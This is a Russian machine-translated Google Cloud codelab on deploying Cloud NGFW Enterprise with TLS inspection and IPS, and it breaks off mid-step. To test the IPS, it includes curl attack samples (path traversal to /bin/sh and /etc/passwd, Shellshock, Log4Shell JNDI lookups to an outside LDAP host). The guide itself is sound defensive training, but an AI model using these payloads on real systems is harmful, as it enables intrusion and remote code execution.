Эта страница переведена с помощью Cloud Translation API.

Cloud NGFW Enterprise Codelab [с проверкой TLS]

1. Введение

Облачный межсетевой экран следующего поколения (NGFW)

Cloud Next Generation Firewall — это полностью распределенная служба брандмауэра с расширенными возможностями защиты, микросегментацией и всеобъемлющим покрытием для защиты ваших рабочих нагрузок Google Cloud от внутренних и внешних атак.

Cloud NGFW имеет следующие преимущества:

Служба распределенного межсетевого экрана: Cloud NGFW обеспечивает полностью распределенное принудительное применение на основе хоста для каждой рабочей нагрузки с отслеживанием состояния, что обеспечивает архитектуру безопасности с нулевым доверием.
Упрощенная настройка и развертывание. Cloud NGFW реализует сетевые и иерархические политики брандмауэра, которые можно прикрепить к узлу иерархии ресурсов. Эти политики обеспечивают единообразную работу брандмауэра во всей иерархии ресурсов Google Cloud.
Детальный контроль и микросегментация: сочетание политик брандмауэра и тегов, управляемых идентификацией и доступом (IAM), обеспечивает точный контроль трафика как север-юг, так и восток-запад, вплоть до одной виртуальной машины, в виртуальном частном облаке (VPC). сети и организации.

Cloud NGFW доступен на следующих уровнях:

Основы облачного брандмауэра нового поколения
Стандарт облачного брандмауэра нового поколения
Облачный брандмауэр следующего поколения Enterprise

Облако NGFW Enterprise

Cloud NGFW Enterprise добавляет службу предотвращения вторжений (IPS), возможность уровня 7, в распределенную структуру Google Cloud Firewall. Поддерживается проверка TLS, позволяющая проверять зашифрованный TLS трафик.

Теперь вы можете развернуть надежные проверки межсетевого экрана следующего поколения (NGFW) уровня 7 с детальным контролем без внесения каких-либо изменений в архитектуру сети или конфигурации маршрутизации.

Чтобы активировать и развернуть управление межсетевым экраном уровня 7 с помощью IPS, вам необходимо выполнить следующие задачи:

Создайте набор конечных точек зонального брандмауэра, управляемого Google Cloud.
При необходимости создайте политику проверки TLS.
При необходимости создайте конфигурацию доверия.
Свяжите эти конечные точки с сетями виртуального частного облака (VPC), где вам понадобится служба Cloud NGFW Enterprise.
Внесите простые изменения в существующие политики и правила брандмауэра, чтобы указать профили предотвращения угроз для различных путей трафика.

Политики сетевого брандмауэра

Политика сетевого брандмауэра действует как контейнер для правил брандмауэра. Правила, определенные в политике сетевого брандмауэра, нигде не применяются, пока политика не связана с сетью VPC. С каждой сетью VPC может быть связана одна политика сетевого межсетевого экрана. Политики сетевого брандмауэра поддерживают теги, управляемые IAM (или просто теги), в правилах брандмауэра, которые заменяют текущие сетевые теги и могут использоваться для обеспечения идентификации рабочей нагрузки.

Совместное использование политики сетевого межсетевого экрана в разных сетях и интеграция с тегами, управляемыми IAM, значительно упрощает настройку и управление межсетевыми экранами.

С появлением политики сетевого брандмауэра политики брандмауэра Google Cloud теперь состоят из следующих компонентов:

Иерархическая политика брандмауэра
Правила брандмауэра VPC
Политика сетевого межсетевого экрана ( глобальная и региональная )

Иерархические политики брандмауэра поддерживаются на узлах организации и папок в иерархии ресурсов, тогда как правила брандмауэра VPC и политики сетевого брандмауэра применяются на уровне VPC. Большая разница между правилами брандмауэра VPC и политиками сетевого брандмауэра заключается в том, что правила брандмауэра VPC могут применяться только к одной сети VPC, тогда как политики сетевого брандмауэра могут быть прикреплены к одному VPC или группе VPC, помимо других преимуществ, таких как пакетные обновления.

Наконец, у нас также есть подразумеваемые правила брандмауэра , которые есть в каждой сети VPC:

Выходное правило, действие которого разрешено, пункт назначения — 0.0.0.0/0.
Правило входящего трафика, действие которого запрещено, источник — 0.0.0.0/0.

По умолчанию последовательность применения показана на следующей диаграмме:

Обратите внимание, что порядок применения правил брандмауэра VPC и политики брандмауэра глобальной сети можно поменять местами. Клиенты могут указать порядок принудительного исполнения в любое время с помощью команды gcloud .

Новые теги, интегрированные в правила политики сетевого брандмауэра, представляют собой ресурсы пары «ключ-значение», определенные на уровне организации или проекта в иерархии ресурсов Google Cloud. Такой тег содержит элементы управления доступом IAM, которые определяют, кто и что может делать с тегом. Например, разрешения управления идентификацией и доступом (IAM) позволяют указать, какие участники могут присваивать значения тегам, а какие участники могут прикреплять теги к ресурсам. Если правило сетевого брандмауэра ссылается на тег, его необходимо применить к ресурсу для принудительного применения.

Теги соответствуют модели ресурсов наследования Google Cloud, то есть теги и их значения передаются по иерархии от их родителей. В результате теги могут создаваться в одном месте, а затем использоваться другими папками и проектами по всей иерархии ресурсов. Посетите эту страницу для получения подробной информации о тегах и ограничении доступа.

Теги не следует путать с сетевыми тегами . Последние представляют собой строки, которые можно добавлять в экземпляры Compute Engine; они связаны с экземпляром и исчезают, когда экземпляр выводится из эксплуатации. Правила брандмауэра VPC могут включать сетевые теги, но, поскольку они не считаются облачными ресурсами, на них не распространяется контроль доступа IAM.

Обратите внимание, что теги и теги, управляемые IAM, в этом документе используются как взаимозаменяемые слова.

Что ты построишь

Для этой лаборатории кода требуется один проект и способность создавать сеть VPC, а также управлять рядом сетевых ресурсов и ресурсов безопасности. Он продемонстрирует, как Cloud NGFW Enterprise может обеспечить функциональность IPS посредством:

Проверка северных интернет-потоков с помощью проверки TLS
Проверка потоков внутри VPC [Восток-Запад] с помощью проверки TLS

Потоки, подлежащие проверке, будут выбраны с использованием параметров соответствия Cloud Firewall, включая 5-кортеж (IP-адрес источника, IP-адрес назначения, протокол, порт источника, порт назначения) и теги.

Конечное состояние базы правил политики сетевого брандмауэра будет аналогично таблице ниже:

Приоритет	Направление	Цель	Источник	Место назначения	Действие	Тип
100	Вход	Server_Tag	Проверка работоспособности	Любой	Позволять	Основы
200	Вход	Client_Tag, Server_Tag	IAP	Любой	Позволять	Основы
800	Вход	Server_Tag	10.0.0.0/24	10.0.0.0/24	L7 Осмотр	Предприятие
850	выход	Client_Tag	Любой	10.0.0.0/24	Позволять	Основы
900	выход	Client_Tag	Любой	Любой	L7 Осмотр	Предприятие

Что вы узнаете

Как создать политику сетевого брандмауэра.
Как создавать и использовать теги с политикой сетевого брандмауэра.
Как настроить и использовать Cloud NGFW Enterprise с проверкой TLS.

Что вам понадобится

Проект Google Cloud.
Знание развертывания экземпляров и настройки сетевых компонентов.
Знание конфигурации межсетевого экрана VPC.

2. Прежде чем начать

Создать/обновить переменные

В этой лаборатории кода используются переменные $variables для облегчения реализации конфигурации gcloud в Cloud Shell.

В Cloud Shell выполните приведенные ниже команды, заменяя при необходимости информацию в скобках:

gcloud config set project [project-id]
export project_id=$(gcloud config list --format="value(core.project)")
export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"`
export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 )
export region=[region]
export zone=[zone]
export prefix=ngfw-enterprise
export billing_project=[billing-project-id]

3. Включите API

Включите API, если вы этого не сделали:

gcloud services enable networksecurity.googleapis.com
gcloud services enable certificatemanager.googleapis.com
gcloud services enable networkservices.googleapis.com
gcloud services enable privateca.googleapis.com

4. Создание конечной точки предприятия Cloud NGFW

Поскольку создание конечной точки Cloud NGFW Enterprise занимает около 20 минут, она будет создана первой, а базовую настройку можно будет выполнить параллельно во время создания конечной точки.

Создайте профиль безопасности и группу профилей безопасности:

gcloud network-security security-profiles threat-prevention \
  create $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud network-security security-profile-groups create \
  $prefix-spg \
  --organization $org_id \
  --location=global \
  --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat

Ожидаемый результат:

Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done.

Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.

Подтвердите, что ресурсы были успешно созданы:

gcloud network-security security-profiles threat-prevention \
  list --location=global --organization $org_id

gcloud network-security security-profile-groups list \
  --organization $org_id --location=global

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента:

NAME: ngfw-enterprise-sp-threat

NAME: ngfw-enterprise-spg

Создайте конечную точку Cloud NGFW Enterprise:

gcloud network-security firewall-endpoints create $prefix-$zone \
  --zone=$zone \
  --organization $org_id \
  --billing-project=$billing_project

Запустите команду ниже, чтобы подтвердить создание конечной точки ( CREATING ).

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Ожидаемый результат (обратите внимание, что формат вывода может различаться в зависимости от используемого клиента):

ID: $prefix-$zone
LOCATION: $zone
STATE: CREATING

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
state: CREATING
updateTime: '2023-11-16T04:27:17.677731831Z'

Процесс создания занимает около 20 минут. Перейдите в раздел «Базовая настройка», чтобы параллельно создать необходимые ресурсы.

5. Настройка базы

Сеть и подсеть VPC

Сеть и подсеть VPC

Создайте сеть и подсеть VPC:

gcloud compute networks create $prefix-vpc --subnet-mode=custom 

gcloud compute networks subnets create $prefix-$region-subnet \
   --range=10.0.0.0/24 --network=$prefix-vpc --region=$region

Облачный NAT

Создайте Cloud Router и Cloud NAT-шлюз:

gcloud compute addresses create $prefix-$region-cloudnatip --region=$region

export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)")

gcloud compute routers create $prefix-cr \
  --region=$region --network=$prefix-vpc

gcloud compute routers nats create $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region \
   --nat-all-subnet-ip-ranges \
   --nat-external-ip-pool=$prefix-$region-cloudnatip

Экземпляры

Создайте экземпляры клиента и веб-сервера:

gcloud compute instances create $prefix-$zone-client \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
        apt-get update
        apt-get install apache2-utils mtr iperf3 tcpdump -y'

gcloud compute instances create $prefix-$zone-www \
   --subnet=$prefix-$region-subnet --no-address --zone $zone \
   --metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump iperf3 -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'

Теги уровня проекта

При необходимости назначьте пользователю разрешение tagAdmin:

export user_id=$(gcloud auth list --format="value(account)")

gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin

Создайте ключ и значения тега на уровне проекта:

gcloud resource-manager tags keys create $prefix-vpc-tags \
   --parent projects/$project_id \
   --purpose GCE_FIREWALL \
   --purpose-data network=$project_id/$prefix-vpc

gcloud resource-manager tags values create $prefix-vpc-client \
   --parent=$project_id/$prefix-vpc-tags

gcloud resource-manager tags values create $prefix-vpc-server \
   --parent=$project_id/$prefix-vpc-tags

Привяжите теги к экземплярам:

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www

gcloud resource-manager tags bindings create \
  --location $zone \
  --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \
  --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client

Политика брандмауэра глобальной сети

Создайте политику брандмауэра глобальной сети:

gcloud compute network-firewall-policies create \
   $prefix-fwpolicy --description \
   "Cloud NGFW Enterprise with TLS" --global

Создайте необходимые правила Cloud Firewall Essential, чтобы разрешить трафик из диапазонов прокси-серверов проверки работоспособности и идентификации :

gcloud compute network-firewall-policies rules create 100 \
        --description="allow http traffic from health-checks ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:80,tcp:443 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22

gcloud compute network-firewall-policies rules create 200 \
        --description="allow ssh traffic from identity-aware-proxy ranges" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --layer4-configs=tcp:22 \
        --direction=INGRESS \
        --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20

Создайте необходимые правила Cloud Firewall, чтобы разрешить входящий трафик с востока на запад или внутри подсети из определенных диапазонов (эти правила будут обновлены, чтобы включить Cloud NGFW Enterprise с проверкой TLS):

gcloud compute network-firewall-policies rules create 800 \
        --description "allow ingress internal traffic from tagged clients" \
        --action=allow \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=INGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --src-ip-ranges=10.0.0.0/24 \
        --dest-ip-ranges=10.0.0.0/24 \
          --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server

Свяжите политику облачного межсетевого экрана с сетью VPC:

gcloud compute network-firewall-policies associations create \
        --firewall-policy $prefix-fwpolicy \
        --network $prefix-vpc \
        --name $prefix-fwpolicy-association \
        --global-firewall-policy

6. Ассоциация конечных точек облачного брандмауэра

Определите переменные среды, если вы еще этого не сделали и/или предпочитаете подход сценария.

Убедитесь, что создание конечной точки Cloud Firewall успешно завершено. Продолжайте только тогда, когда состояние отображается как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

ID: $prefix-$zone
LOCATION: $zone
STATE: ACTIVE

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoints describe \
  $prefix-$zone --organization $org_id --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:27:17.677731831Z'
name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone
state: ACTIVE
updateTime: '2023-11-16T04:49:53.776349352Z'

Свяжите конечную точку Cloud Firewall с сетью VPC:

gcloud network-security firewall-endpoint-associations create \
  $prefix-association --zone $zone \
  --network=$prefix-vpc \
  --endpoint $prefix-$zone \
  --organization $org_id

Процесс ассоциации занимает около 10 минут. Переходите к разделу TLS только тогда, когда состояние отображается как АКТИВНОЕ (во время создания ожидаемое состояние — СОЗДАНИЕ ):

gcloud network-security firewall-endpoint-associations list

Ожидаемый результат после завершения:

ID: ngfw-enterprise-association
LOCATION: $zone
NETWORK: $prefix-vpc
ENDPOINT: $prefix-$zone
STATE: ACTIVE

При необходимости выполните команду ниже, чтобы получить более подробную информацию:

gcloud network-security firewall-endpoint-associations \
  describe $prefix-association --zone $zone

Ожидаемый результат:

createTime: '2023-11-16T04:57:06.108377222Z'
firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone
name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association
network: projects/$project_id/global/networks/$prefix-vpc
state: ACTIVE
updateTime: '2023-11-16T04:57:06.108377222Z'

7. Настройте ресурсы TLS.

Создайте пул ЦС. Этот ресурс будет использоваться для размещения корневого сертификата CA, который мы создаем для NGFW Enterprise.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise

Создайте корневой центр сертификации. Это сертификат CA, который будет использоваться для подписи дополнительных сертификатов для запросов через NGFW Enterprise.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"

Если вам будет предложено сообщение ниже, ответьте y :

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

Создайте учетную запись службы. Эта учетная запись службы будет использоваться для запроса сертификатов для NGFW Enterprise:

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

Установите разрешения IAM для учетной записи службы:

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

Создайте YAML-файл политики TLS. Этот файл будет содержать информацию о конкретных ресурсах:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

Импортируйте политику проверки TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

Обновите ассоциацию конечной точки, чтобы включить TLS:

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

Получите сертификат CA и добавьте его в хранилище CA клиента:

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

Передайте сертификат CA клиенту:

gcloud compute scp --tunnel-through-iap  ~/$prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

Подключитесь по SSH к виртуальной машине, переместите сертификат CA в /usr/local/share/ca-certificates и обновите хранилище CA:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

Выйдите обратно в облачную оболочку.

Процесс подписания сертификата сервера:

В CloudShell установите криптографическую библиотеку Pyca с помощью команды pip:

pip install --user "cryptography>=2.2.0"

Чтобы разрешить Google Cloud SDK использовать криптографическую библиотеку Pyca, необходимо включить пакеты сайта.

export CLOUDSDK_PYTHON_SITEPACKAGES=1

Создайте сертификат сервера:

gcloud privateca certificates create --issuer-location=$region \
  --issuer-pool $prefix-CA-Pool \
  --subject "CN=Cloud NGFW Enterprise,O=Google" \
  --ip-san=10.0.0.3 \
  --generate-key \
  --key-output-file=./key.pem \
  --cert-output-file=./cert.pem

Это создаст файлы cert.pem и key.pem в CloudShell. Затем передайте сертификат и ключ на сервер.

gcloud compute scp --tunnel-through-iap  ~/cert.pem  $prefix-$zone-www:~/  --zone=$zone

gcloud compute scp --tunnel-through-iap  ~/key.pem  $prefix-$zone-www:~/  --zone=$zone

Подключитесь к серверу по SSH, чтобы обновить сведения о сертификате Apache:

gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone

Переместите сертификат и ключ в определенную папку:

sudo mv cert.pem /etc/ssl/certs/
sudo mv key.pem /etc/ssl/private/

Обновите конфигурацию SSL, чтобы использовать подписанный сертификат:

sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf 

sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf

Перезапустите Апач:

sudo systemctl restart apache2

Проверьте статус Apache:

sudo systemctl status apache2

Он должен быть активным (работающим).

Выйдите из виртуальной машины и продолжите работу в CloudShell.

8. Проверка северного и восточно-западного подключения.

Выполните приведенные ниже команды в Cloud Shell и запишите целевые IP-адреса, которые будут использоваться:

gcloud compute instances list --filter="name=($prefix-$zone-www)"

Откройте новую вкладку и инициируйте SSH-соединение с клиентской виртуальной машиной через IAP (вам нужно будет определить переменные на новой вкладке):

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Запустите приведенные ниже команды и запишите целевые IP-адреса, которые будут использоваться. Создайте переменные, заменяя значения в скобках указанными IP-адресами из предыдущего шага, и убедитесь, что они доступны:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Сверните частный IP-адрес и убедитесь, что он доступен:

curl https://$target_privateip --max-time 2

Ожидаемые результаты для запроса на завивку:

Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone

Отправьте примеры атак на IP. Веб-сервер должен отвечать на все запросы, подтверждая отсутствие проверки/профилактики L7:

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2 
curl -w "%{http_code}\\n" -s -o /dev/null  -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Пример ожидаемых результатов (частный IP):

Аналогичным образом отправьте запросы в Интернет-адресат:

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Пример ожидаемых результатов (направление в Интернете):

Выйдите из терминала виртуальной машины и вернитесь в облачную оболочку.

9. Создайте и обновите правила брандмауэра для проверки TLS.

Ранее мы настроили правило брандмауэра, разрешающее входящий трафик на наш сервер из внутренней подсети. Теперь мы обновим существующие правила входящего трафика и установим действие apply_security_profile_group. Это позволит осуществлять проверку E/W L7 с помощью TLS:

gcloud compute network-firewall-policies rules update 800 \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect

Создайте новое правило для проверки проверки L7 в северном направлении с помощью TLS.

gcloud compute network-firewall-policies rules create 900 \
        --description "Inspect egress traffic over TCP 443" \
        --action=apply_security_profile_group \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --enable-logging \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=0.0.0.0/0 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
      --tls-inspect

Создайте новое правило, позволяющее EGRESS for E/W предотвратить двойную проверку.

gcloud compute network-firewall-policies rules create 850 \
        --description "Prevent double inspection" \
        --action=ALLOW \
        --firewall-policy=$prefix-fwpolicy \
        --global-firewall-policy \
        --direction=EGRESS \
        --layer4-configs tcp:443 \
        --dest-ip-ranges=10.0.0.0/24 \
      --target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client

Примечание . Двойная проверка — это когда и исходный ресурс, и целевой ресурс проверяют одни и те же потоки.

На клиентской виртуальной машине правило 900 перехватывает поток, когда EGRESS происходит на TCP: 443.

На виртуальной машине сервера правило 800 перехватывает поток, когда INGRESS происходит на TCP: 443.

Чтобы предотвратить двойную проверку, мы создаем правило 850, которое разрешает EGRESS по TCP:443 во внутреннюю подсеть.

Это обеспечит выполнение следующих действий:

E/W-трафик проверяется по правилу INGRESS.

Трафик в северном направлении проверяется правилом EGRESS.

Движение в южном направлении проверяется по правилу INGRESS.

10. Проверка проверки TLS в северном направлении

Вернитесь на вкладку клиентской виртуальной машины или подключитесь снова:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Отправьте примеры атак в Интернет:

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2

Никаких ответов в соответствии с ожидаемым результатом ниже не получено, что подтверждает, что примеры атак в настоящее время блокируются:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Установите для переменной IP-адрес сервера, который был раньше:

export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]

Отправьте примеры TLS-запросов на сервер:

curl https://$target_privateip --max-time 2

Ожидаемый результат:

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Почему этот запрос не удался? Это связано с тем, что межсетевой экран получает сертификат от сервера, которому нет доверия. Если это произойдет, он передаст самозаверяющий сертификат обратно клиенту. Нам нужно добавить сертификат CA как часть конфигурации доверия, чтобы включить доверие.

Вернитесь обратно в облачную оболочку.

11. Настройте конфигурацию доверия

Получите сертификат корневого центра сертификации и установите его как переменную с правильным форматированием.

export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/      /')

Настройте YAML-файл Trust Config. Этот файл содержит сведения о доверии, такие как сертификаты CA:

cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
${NGFW_ROOT_CA}
EOF

Приведенные выше команды включили ваш сертификат корневого центра сертификации в хранилище доверенных сертификатов, поскольку сертификат вашего сервера был подписан с использованием корневого центра сертификации. Это означает, что брандмауэр будет доверять любым полученным сертификатам, подписанным вашим корневым центром сертификации, в дополнение к общедоступным центрам сертификации, если в вашей политике TLS для параметра ignorePublicCaSet установлено значение false.

Проверьте содержимое конфигурации доверия.

cat trust_config.yaml

Пример вывода:

Обратите особое внимание на выравнивание отступов сертификата. Он должен точно соответствовать этому формату.

name: "ngfw-enterprise-trust-config"
trustStores:
- trustAnchors:
  - pemCertificate: |
     -----BEGIN CERTIFICATE-----
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Импортируйте конфигурацию доверия:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Обновите YAML-файл политики TLS, включив в него конфигурацию доверия:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
